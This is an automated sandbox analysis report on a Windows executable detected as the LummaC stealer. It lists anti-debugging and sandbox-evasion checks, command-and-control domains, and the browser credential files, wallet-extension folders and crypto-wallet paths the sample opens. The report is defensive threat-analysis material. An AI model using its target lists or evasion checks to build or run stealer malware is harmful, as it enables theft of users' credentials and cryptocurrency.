Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: NTICE
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: SICE
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: TdloJt4gY3.exe, 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: TdloJt4gY3.exe, 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: TdloJt4gY3.exe, 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: TdloJt4gY3.exe, 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: TdloJt4gY3.exe, 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: TdloJt4gY3.exe, 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: TdloJt4gY3.exe, 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: TdloJt4gY3.exe, 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: TdloJt4gY3.exe, 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: C:\Users\user\Desktop\TdloJt4gY3.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\TdloJt4gY3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: TdloJt4gY3.exe, 00000000.00000003.1500470049.0000000005F6A000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1496241356.0000000001566000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1496020890.00000000015BF000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1515111835.0000000005F71000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\TdloJt4gY3.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: TdloJt4gY3.exe PID: 7364, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: TdloJt4gY3.exe, 00000000.00000003.1400126860.000000000158C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: TdloJt4gY3.exe, 00000000.00000003.1474082903.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: TdloJt4gY3.exe, 00000000.00000003.1473647740.00000000015B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: TdloJt4gY3.exe, 00000000.00000003.1474082903.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: TdloJt4gY3.exe, 00000000.00000003.1471045779.000000000158C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: TdloJt4gY3.exe, 00000000.00000003.1471045779.000000000158C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: TdloJt4gY3.exe, 00000000.00000003.1400126860.000000000158C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520}
Source: TdloJt4gY3.exe, 00000000.00000003.1473647740.00000000015B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: TdloJt4gY3.exe, 00000000.00000003.1473647740.00000000015B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
